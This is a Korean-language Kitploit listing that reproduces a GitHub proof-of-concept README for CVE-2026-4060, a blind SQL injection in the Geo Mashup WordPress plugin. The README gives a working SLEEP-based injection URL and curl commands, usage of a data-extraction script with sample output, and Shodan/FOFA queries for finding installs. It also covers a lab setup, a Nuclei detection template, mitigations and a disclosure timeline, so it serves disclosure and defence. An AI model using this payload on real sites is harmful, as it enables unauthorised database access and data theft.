Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-4060-PoC — CVE-2026-4060에 대한 개념 증명(PoC): Geo Mashup WordPress 플러그인의 ORDER BY 절을 통한 인증되지 않은 시간 기반 블라인드 SQL 인젝션. 익스플로잇 스크립트, 랩 환경, Nuclei 탐지 템플릿을 포함합니다. | Kitploit
도구/GitHubGitHub/ydking0911/cve-2026-4060-poc
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHubydking0911/cve-2026-4060-poc

CVE-2026-4060-PoC

CVE-2026-4060에 대한 개념 증명(PoC): Geo Mashup WordPress 플러그인의 ORDER BY 절을 통한 인증되지 않은 시간 기반 블라인드 SQL 인젝션. 익스플로잇 스크립트, 랩 환경, Nuclei 탐지 템플릿을 포함합니다.

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-4060 — Geo Mashup ≤ 1.13.18 인증 없는 SQL 인젝션 PoC

Severity CVSS Type Status

인증되지 않은 공격자가 Geo Mashup render-map 엔드포인트의 sort 파라미터를 통해 ORDER BY 절에 임의의 SQL을 주입할 수 있으며, 이를 통해 시간 기반 블라인드 방식으로 민감한 데이터베이스 정보를 추출할 수 있습니다.


목차

  • 취약점 개요
  • 테스트 환경
  • 실행 방법
  • 테스트 결과
  • 완화 방안
  • 탐지
  • 공개 타임라인
  • 참고 자료

취약점 개요

필드세부 정보
CVECVE-2026-4060
플러그인Geo Mashup by cyberhobo
영향 범위≤ 1.13.18
수정 버전1.13.19
CVSS v3.17.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWECWE-89 — SQL 내 특수 요소의 부적절한 중화
인증 필요없음 (Unauthenticated)

기술적 세부 사항

render-map 엔드포인트에서 전달받는 sort 파라미터는 $wpdb->get_results() 호출에 아무런 검증 없이 그대로 전달됩니다:

root@kitploit:~
// render-map.php (simplified)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
    "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);

$sort가 원형 그대로 문자열 보간되기 때문에 공격자는 ORDER BY 절에 서브쿼리를 주입할 수 있습니다. WordPress의 wpdb는 작은따옴표를 이스케이프 처리하므로, PoC는 숫자 비교 방식의 ORD(SUBSTRING(...))을 사용하여 이러한 제한을 우회하고 시간 기반 블라인드 추출을 수행합니다.

취약한 엔드포인트:

root@kitploit:~
GET /?geo_mashup_content=render-map&map_content=global&sort=<PAYLOAD>

테스트 환경

구성 요소버전
OSmacOS (Darwin 25.4.0)
Docker27.x
WordPress6.8.2 (PHP 8.2, Apache)
MariaDB11.4
Geo Mashup1.13.18 (취약 버전)
Python3.x (poc.py용)
Nucleiv3.8.0

랩 아키텍처

root@kitploit:~
┌─────────────────────────────────┐
│  Host (localhost:8080)          │
│                                 │
│  ┌─────────────┐  ┌──────────┐  │
│  │ WordPress   │  │ MariaDB  │  │
│  │ 6.8.2+PHP82 │──│  11.4    │  │
│  │ :80         │  │ :3306    │  │
│  └─────────────┘  └──────────┘  │
│       + Geo Mashup 1.13.18      │
└─────────────────────────────────┘

WordPress 관리자에서 활성화된 Geo Mashup 1.13.18:

Geo Mashup 1.13.18 active in WordPress admin


실행 방법

1. 랩 시작하기

root@kitploit:~
git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh

setup.sh는 다음 작업을 수행합니다:

  • WordPress 6.8.2 + MariaDB 11.4 컨테이너 실행
  • WP-CLI를 통해 Geo Mashup 1.13.18(취약 버전) 설치 및 활성화
  • 지도 엔드포인트가 유효한 응답을 반환하도록 지리 태그가 지정된 게시물 생성

완료 후:

  • 사이트: http://localhost:8080
  • 관리자: http://localhost:8080/wp-admin (사용자: admin / 비밀번호: admin)

2. 취약점 확인 (SLEEP 인젝션)

root@kitploit:~
time curl -s -o /dev/null \
  "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

응답이 약 8초 지연되면 ORDER BY SQL 인젝션이 확인됩니다.

3. 데이터 추출 (PoC)

root@kitploit:~
# 기본 — 추출된 결과만 출력
python3 poc.py --url http://localhost:8080

# 자세히 — 각 페이로드, 응답 시간, 추출된 문자 표시
python3 poc.py --url http://localhost:8080 --verbose

# SQLi 확인만 수행, 데이터 추출 건너뛰기
python3 poc.py --url http://localhost:8080 --confirm-only

4. Nuclei 탐지 템플릿 실행

root@kitploit:~
nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080

5. 랩 정리

root@kitploit:~
docker compose down -v

테스트 결과

True Positive (TP) — 취약한 대상

TP-1: ORDER BY SLEEP(8) 인젝션 확인

sort 파라미터에 SLEEP(8) 서브쿼리를 주입하면 약 8초의 응답 지연이 발생합니다.

root@kitploit:~
time curl -s -o /dev/null \
  "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

SLEEP(8) via ORDER BY — 8.05s response

TP-2: 데이터 추출 (상세 모드)

PoC는 ORD(SUBSTRING(...)) 비교를 사용하여 문자 단위로 데이터를 추출합니다: 페이로드 전송 → 응답 시간 측정 → SLEEP이 발생하면 해당 문자 확인.

root@kitploit:~
python3 poc.py --url http://localhost:8080 --verbose

poc.py verbose — payload, timing, extracted chars

추출된 데이터:

쿼리결과
VERSION()11.4.10-MariaDB
DATABASE()wordpress
USER()[email protected]

TP-3: Nuclei 템플릿 탐지

root@kitploit:~
[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29

Scan completed in 8.07s. 1 matches found.

False Positive (FP) — 취약하지 않은 대상

Nuclei 템플릿은 오탐을 방지하기 위해 2단계 플로우를 사용합니다.

FP-1: Geo Mashup이 설치되지 않은 경우

1단계에서 readme.txt가 404를 반환하면 SQL 페이로드를 전송하지 않고 스캔이 즉시 종료됩니다.

root@kitploit:~
Scan completed in 62ms. 0 matches found.   ✅

FP-2: 패치된 버전 (≥ 1.13.19)

readme.txt를 통한 플러그인 버전 확인:

readme.txt showing Stable tag: 1.13.18

compare_versions(version, '<= 1.13.18') 조건이 실패하면 2단계는 완전히 건너뜁니다.

root@kitploit:~
Scan completed in 19ms. 0 matches found.   ✅

완화 방안

조치세부 정보
업데이트Geo Mashup을 1.13.19 이상으로 업그레이드
임시 조치업데이트를 적용할 때까지 플러그인 비활성화
WAFORDER BY 절의 서브쿼리 인젝션 패턴 차단

패치 커밋: plugins.trac.wordpress.org/changeset/3503627


탐지

Nuclei 템플릿: nuclei/CVE-2026-4060.yaml

탐지 플로우:

root@kitploit:~
Step 1: GET /wp-content/plugins/geo-mashup/readme.txt
        → 플러그인 존재 및 버전 <= 1.13.18 확인

Step 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
        → status 200 + GeoMashup.createMap + duration >= 8s

Shodan / FOFA:

root@kitploit:~
Shodan: http.html:"geo-mashup"
FOFA:   body="geo-mashup"

공개 타임라인

날짜이벤트
2026-04취약점 발견
2026-04플러그인 작성자에게 보고
2026-05Geo Mashup 1.13.19 패치 릴리스
2026-05-14CVE 배정 및 공개 공개

참고 자료

  • NVD — CVE-2026-4060
  • Wordfence Advisory
  • Plugin Changeset (fix)
  • CWE-89

면책 조항

이 저장소는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다.
소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에 사용하지 마십시오.
저자는 본 자료의 어떠한 오용에 대해서도 책임을 지지 않습니다.

도구 다운로드